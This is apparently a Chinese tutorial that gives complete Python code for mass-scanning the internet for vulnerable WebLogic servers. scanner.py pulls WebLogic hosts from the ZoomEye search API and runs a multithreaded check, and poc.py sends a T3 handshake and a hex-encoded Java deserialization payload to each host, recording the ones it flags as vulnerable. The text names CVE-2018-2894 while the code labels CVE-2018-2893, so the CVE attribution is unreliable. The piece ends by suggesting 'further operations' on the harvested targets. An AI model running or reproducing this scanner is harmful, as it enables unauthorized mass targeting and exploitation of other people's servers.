与上一篇 利用zoomeye API收集存在弱口令的Hikvision网络摄像头 原理相似。

zoomeye API的使用可以参考ZoomEye API 参考手册

这里以7月份披露的一个weblogic反序列漏洞CVE-2018-2894为例

思路很简单：通过zoomeye api获取组件为weblogic的目标，然后再使用POC对目标进行验证，并将验证通过的目标记录下来。

完整的python代码如下：

scanner.py:

#coding:utf8

import requests
import threading
import Queue
from poc import proof

def login():
    username=raw_input("please enter your username:")
    password=raw_input("please enter your password:")
    login_info={
        'username':username,
        'password':password
    }
    try:
        response=requests.post(url='https://api.zoomeye.org/user/login',json=login_info)
        access_token=response.json()
        return access_token
    except Exception as e:
        print("[-]error:username or password might wrong, please try again")
        exit()

def search(access_token):
    app_name="Weblogic"
    authorization = {'Authorization': 'JWT ' + access_token["access_token"]}
    host_queue=Queue.Queue()
    page_num=int(input("Please enter the number of pages you need to scan:"))
    for page in range(1,page_num+1):
        try: 
            response=requests.get(url='https://api.zoomeye.org/host/search?query=app:'+'"'+app_name+'"'+'&page='+str(page),headers = authorization)
            search_data=response.json()
            for item in search_data["matches"]:
                host=item["ip"]+":"+str(item["portinfo"]["port"])
                host_queue.put(host.replace('\n',''))
        except Exception as e:
            continue
    get_scan_result(host_queue)

def get_scan_result(host_queue):
    thread_list=[]
    thread_num=input("Please enter the number of threads:")
    print("Scan start...")
    result_file=open("vuln_ip.txt","w")
    for x in range(0,int(thread_num)):
        th=threading.Thread(target=verify_vuln_ip,args=(host_queue,result_file))
        thread_list.append(th)
    for t in thread_list:
        t.start()
    for t in thread_list:
        t.join()
    result_file.close()
    print("Scan completed!")

def verify_vuln_ip(host_queue,result_file):
    while not host_queue.empty():
        host=host_queue.get()
        try:
            ip,port=host.split(':')
            result=proof(ip,int(port),0)
            if result is True:
                print(ip+" "+port)
                result_file.write(ip+" "+port+"\n")
        except Exception as e:
            continue

def main():
    access_token=login()
    search(access_token)

if __name__ == '__main__':
    main()

POC是根据指尖安全Bearcat的文章https://www.secfree.com/article-957.html提供的POC稍微修改而成的：

poc.py:

#!env python
# -*- coding: utf-8 -*-
import socket
import time
import re
import sys

VUL=['CVE-2018-2893']
#remote ip changed to :127.0.0.1
PAYLOAD=['ACED0005737200257765626C6F6769632E6A6D732E636F6D6D6F6E2E53747265616D4D657373616765496D706C6B88DE4D93CBD45D0C00007872001F7765626C6F6769632E6A6D732E636F6D6D6F6E2E4D657373616765496D706C69126161D04DF1420C000078707A000001251E200000000000000100000118ACED0005737D00000001001A6A6176612E726D692E72656769737472792E5265676973747279787200176A6176612E6C616E672E7265666C6563742E50726F7879E127DA20CC1043CB0200014C0001687400254C6A6176612F6C616E672F7265666C6563742F496E766F636174696F6E48616E646C65723B78707372002D6A6176612E726D692E7365727665722E52656D6F74654F626A656374496E766F636174696F6E48616E646C657200000000000000020200007872001C6A6176612E726D692E7365727665722E52656D6F74654F626A656374D361B4910C61331E03000078707732000A556E696361737452656600093132372E302E302E310000F1440000000046911FD80000000000000000000000000000007878']

VER_SIG=['StreamMessageImpl']

def t3handshake(sock,server_addr):
    sock.connect(server_addr)
    sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex'))
    time.sleep(1)
    data = sock.recv(1024)
    #print data
    ##print 'handshake successful'

def buildT3RequestObject(sock,port):
    data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'
    data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(port))
    data3 = '1a7727000d3234322e323134'
    data4 = '2e312e32353461863d1d0000000078'
    for d in [data1,data2,data3,data4]:
        sock.send(d.decode('hex'))
    time.sleep(2)
    #print 'send request payload successful,recv length:%d'%(len(sock.recv(2048)))


def sendEvilObjData(sock,data):
    payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'
    payload+=data
    payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'
    payload = '%s%s'%('{:08x}'.format(len(payload)/2 + 4),payload)
    sock.send(payload.decode('hex'))
    time.sleep(2)
    sock.send(payload.decode('hex'))
    res = ''
    try:
        while True:
            temp = sock.recv(4096)
            if not temp:
                break
            res += temp
            time.sleep(0.1)
    except Exception as e:
        pass
    return res

def checkVul(res,server_addr,index):
    p=re.findall(VER_SIG[index], res, re.S)
    if len(p)>0:
        ##print('%s:%d is vul %s'%(server_addr[0],server_addr[1],VUL[index]))
        return True
    else:
        ##print('%s:%d is not vul %s' % (server_addr[0],server_addr[1],VUL[index]))
        return False

def proof(dip,dport,index):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    ##打了补丁之后，会阻塞，所以设置超时时间，默认15s，根据情况自己调整
    sock.settimeout(15)
    server_addr = (dip, dport)
    t3handshake(sock,server_addr)
    buildT3RequestObject(sock,dport)
    rs=sendEvilObjData(sock,PAYLOAD[index])
    #print 'rs',rs
    sock.shutdown(2)
    sock.close()
    result=checkVul(rs,server_addr,index)
    return result

运行结果：

得到目标之后就可以进行进一步操作了，收集其它漏洞目标原理类似

源码地址